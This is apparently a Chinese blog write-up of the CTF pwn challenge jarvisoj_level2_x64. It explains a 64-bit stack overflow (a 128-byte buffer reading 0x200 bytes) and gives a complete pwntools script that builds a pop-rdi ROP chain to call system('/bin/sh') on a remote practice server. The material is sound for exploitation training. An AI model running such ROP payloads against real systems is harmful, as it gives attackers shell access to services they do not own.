jarvisoj_level2_x64

没有开启栈保护,只有nx保护

运行一下,流程不能忘

输入?注意下输入函数

IDA打开

buf只要128,却读取了0x200

这包给他构建函数的

这是64位,我们首先要通过寄存器传参

ROPgadget --binary jar --only 'pop|ret'

这里我师傅说一般用pop rdi

所以记录地址

这道题system和bin/sh都是直接拿到的

 

from pwn import *

context(log_level = 'debug')
elf = ELF('./jar')
p = remote('node5.buuoj.cn',25222)

systemaddr=0x40063E
shelladdr=0x600a90
pop_rdiaddr=0x4006b3

payload= b'a'*(0x80+8)+p64(pop_rdiaddr)+p64(shelladdr)+p64(systemaddr)

p.sendline(payload)
p.interactive()

 我们的esp是在低地址的,虽然栈是上面溢出,但是地址是从下面开始运行的

所以我们填充完后,程序先执行到pop ,这个Pop 有两个左右 pop 下面一个参数,system 然后 跟着return,又回到下面了,下面紧跟着就是参数 shell

如果是32位 我们payload安排就是 system +shell这样构建就ok

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_Nickname

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值